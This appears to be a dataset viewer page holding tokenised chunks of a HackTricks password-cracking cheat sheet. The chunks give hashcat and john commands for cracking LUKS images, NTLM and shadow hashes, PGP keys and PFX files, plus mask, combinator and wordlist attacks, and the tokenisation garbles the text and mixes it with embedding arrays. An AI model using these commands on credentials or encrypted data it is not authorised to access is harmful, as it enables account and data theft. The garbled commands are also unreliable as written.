mydomain. local. kirbilucks imagemethod 1install : urls : / / github. com / glv2 / bruteforce - luksbruteforce - luks - f. / list. txt. / backup. imgcryptsetup luksopen backup. img mylucksopenls / dev / mapper / # you should find here the image mylucksopenmount / dev / mapper / mylucksopen / mntmethod 2cryptsetup luksdump backup. img # check that the payload offset is set to 4096dd if = backup. img of = luckshash bs = 512 count = 4097 # payload offset + 1hashcat - m 14600 - a 0 luckshash wordlists / rockyou. txtcryptsetup luksopen backup. img mylucksopenls / dev / mapper / # you should find here the image mylucksopenmount / dev / mapper / mylucksopen / mntanother luks bf tutorial : url : / / blog. dclabs. com. br / 2020 / 03 / bruteforcing - linux - disk - encription - luks. html? m = 1mysql # john hash format < username > : $ mysqlna $ < challenge > * < response > dbuser : $ mysqlna $ 112233445566778899aabbccddeeff1122334455 * 73def07da6fba5dcc1b19c918dbd998e0d1f3f9dpgp / gpg private keygpg2john private _ pgp. key # this will generate the hash and save it in a filejohn - - wordlist = / usr / share / wordlists / rockyou. txt. / hashciscodpapi master keyuse urls : / / github. com / openwall / john / blob / bleeding - jumbo / run / dpapimk2john. py and then johnopen office pwd protected columnif you have an xlsx file with a column protected by a password you can unprotect it : upload it to google drive and the password will be automatically | [
0.4511107802391052,
-0.5900021195411682,
0.43759578466415405,
0.2616657018661499,
-0.23582005500793457,
0.05688370391726494,
-0.11815021932125092,
0.4977385997772217,
0.4968947768211365,
0.169435054063797,
0.2543582618236542,
-0.6057353615760803,
0.47710034251213074,
-0.3012194335460663,
... | [
2026,
9527,
8113,
1012,
2334,
1012,
11382,
15185,
4014,
12722,
2015,
3746,
11368,
6806,
2094,
1015,
7076,
9080,
2140,
1024,
24471,
4877,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
1043,
2140,
2615,
2475,
1013,
26128,
14821,
101... | hack_tricks | 12.txt | 13 |
removedto remove it manually : unzip file. xlsxgrep - r " sheetprotection ". / * # find something like : < sheetprotection algorithmname = " sha - 512 " hashvalue = " hfq32zstmeekunegzhefxebzh3hnmo9nvv8qvhv8ux + t + 39 / 22e3pfr8asuxisfrrv9uvfnezidgv + uvf8c5tg " saltvalue = " u9ozfavckz5jwdhs9aa8na " spincount = " 100000 " sheet = " 1 " objects = " 1 " scenarios = " 1 " / > # remove that line and rezip the filezip - r file. xls. pfx certificates # from urls : / / github. com / ridter / p12tool. / p12tool crack - c staff. pfx - f / usr / share / wordlists / rockyou. txt # from urls : / / github. com / crackpkcs12 / crackpkcs12crackpkcs12 - d / usr / share / wordlists / rockyou. txt. / cert. pfx use trickest to easily build and automate workflows powered by the world's most advanced community tools. toolshash examples : urls : / / openwall. info / wiki / john / sample - hasheshash - identifierhash - identifier > < hash > wordlistsrockyouprobable - wordlistskaonashiseclists - passwordswordlist generation toolskwprocessor : advanced keyboard - walk generator with configurable base chars, keymap and routes. kwp64. exe basechars \ custom. base keymaps \ uk. keymap routes \ 2 - to - 10 - max - 3 - direction - changes. route - o d : \ tools \ keywalk. txtjohn mutationread / etc / john / john. conf and configure itjohn - - wordlist = words. txt - - rules - - stdout > w _ mutated. txtjohn - - wordlist = words. txt - - rules = all | [
0.2251037359237671,
-0.5814399123191833,
0.27797168493270874,
0.8401662707328796,
-0.305764764547348,
-0.3497811555862427,
0.10738600790500641,
0.20491012930870056,
0.38401129841804504,
0.3447719216346741,
0.25447019934654236,
-0.43595513701438904,
0.5947784781455994,
-0.2177356332540512,
... | [
3718,
3406,
6366,
2009,
21118,
1024,
4895,
5831,
2361,
5371,
1012,
28712,
2015,
2595,
17603,
2361,
1011,
1054,
1000,
7123,
21572,
26557,
3508,
1000,
1012,
1013,
1008,
1001,
2424,
2242,
2066,
1024,
1026,
7123,
21572,
26557,
3508,
9896,
18442... | hack_tricks | 12.txt | 14 |
- - stdout > w _ mutated. txt # apply all ruleshashcathashcat attackswordlist attack ( - a 0 ) with ruleshashcat already comes with a folder containing rules but you can find other interesting rules here. hashcat. exe - a 0 - m 1000 c : \ temp \ ntlm. txt. \ rockyou. txt - r rules \ best64. rulewordlist combinator attackit's possible to combine 2 wordlists into 1 with hashcat. if list 1 contained the word " hello " and the second contained 2 lines with the words " world " and " earth ". the words helloworld and helloearth will be generated. # this will combine 2 wordlistshashcat. exe - a 1 - m 1000 c : \ temp \ ntlm. txt. \ wordlist1. txt. \ wordlist2. txt # same attack as before but adding chars in the newly generated words # in the previous example this will generate : # # hello - world! # # hello - earth! hashcat. exe - a 1 - m 1000 c : \ temp \ ntlm. txt. \ wordlist1. txt. \ wordlist2. txt - j $ - - k $! mask attack ( - a 3 ) # mask attack with simple maskhashcat. exe - a 3 - m 1000 c : \ temp \ ntlm. txt? u? l? l? l? l? l? l? l? dhashcat - - help # will show the charsets and are as follows? | charset = = = + = = = = = = = = = l | abcdefghijklmnopqrstuvwxyzu | abcdefghijklmnopqrstuvwxyzd | 0123456789h | 0123456789abcdefh | 0123456789abcdefs |! " # $ % &'( ) * +, -. / : ; < = >? @ [ \ ] ^ _ ` { | } ~ a |? l? u? d? sb | 0x00 - 0xff # mask attack declaring custom charsethashcat. exe - a 3 - m 1000 c : \ temp \ ntlm. txt - 1? d | [
0.3154968321323395,
-0.04287153482437134,
0.33886176347732544,
0.38711783289909363,
-0.31296998262405396,
-0.4460921287536621,
-0.34959203004837036,
0.33200803399086,
0.03328385949134827,
0.4329817593097687,
0.20674000680446625,
0.2555631995201111,
0.4457760155200958,
-0.5764918327331543,
... | [
1011,
1011,
2358,
26797,
2102,
1028,
1059,
1035,
14163,
16238,
1012,
19067,
2102,
1001,
6611,
2035,
3513,
14949,
16257,
8988,
11823,
11266,
4491,
18351,
9863,
2886,
1006,
1011,
1037,
1014,
1007,
2007,
3513,
14949,
16257,
4017,
2525,
3310,
2... | hack_tricks | 12.txt | 15 |
? s? u? l? l? l? l? l? l? l? 1 # # - 1? d? s defines a custom charset ( digits and specials ). # #? u? l? l? l? l? l? l? l? 1 is the mask, where "? 1 " is the custom charset. # mask attack with variable password length # # create a file called masks. hcmask with this content :? d? s,? u? l? l? l? l? 1? d? s,? u? l? l? l? l? l? 1? d? s,? u? l? l? l? l? l? l? 1? d? s,? u? l? l? l? l? l? l? l? 1? d? s,? u? l? l? l? l? l? l? l? l? 1 # # use it to crack the passwordhashcat. exe - a 3 - m 1000 c : \ temp \ ntlm. txt. \ masks. hcmaskwordlist + mask ( - a 6 ) / mask + wordlist ( - a 7 ) attack # mask numbers will be appended to each word in the wordlisthashcat. exe - a 6 - m 1000 c : \ temp \ ntlm. txt \ wordlist. txt? d? d? d? d # mask numbers will be prepended to each word in the wordlisthashcat. exe - a 7 - m 1000 c : \ temp \ ntlm. txt? d? d? d? d \ wordlist. txthashcat modeshashcat - - example - hashes | grep - b1 - a2 " ntlm " cracking linux hashes - / etc / shadow file 500 | md5crypt $ 1 $, md5 ( unix ) | operating - systems3200 | bcrypt $ 2 * $, blowfish ( unix ) | operating - systems7400 | sha256crypt $ 5 $, sha256 ( unix ) | operating - systems1800 | sha512crypt $ 6 $, sha512 ( unix ) | operating - systemscracking windows hashes3000 | lm | operating - systems1000 | ntlm | operating - systemscracking common application hashes 900 | [
0.10726738721132278,
-0.06917044520378113,
0.18039771914482117,
0.17409054934978485,
-0.308898001909256,
-0.10365176945924759,
-0.39148464798927307,
0.04014841839671135,
0.02754361368715763,
0.893145740032196,
-0.1238103061914444,
0.1475001573562622,
0.7175753116607666,
-0.3845401704311371... | [
1029,
1055,
1029,
1057,
1029,
1048,
1029,
1048,
1029,
1048,
1029,
1048,
1029,
1048,
1029,
1048,
1029,
1048,
1029,
1015,
1001,
1001,
1011,
1015,
1029,
1040,
1029,
1055,
11859,
1037,
7661,
25869,
13462,
1006,
16648,
1998,
19247,
1007,
1012,
... | hack_tricks | 12.txt | 16 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.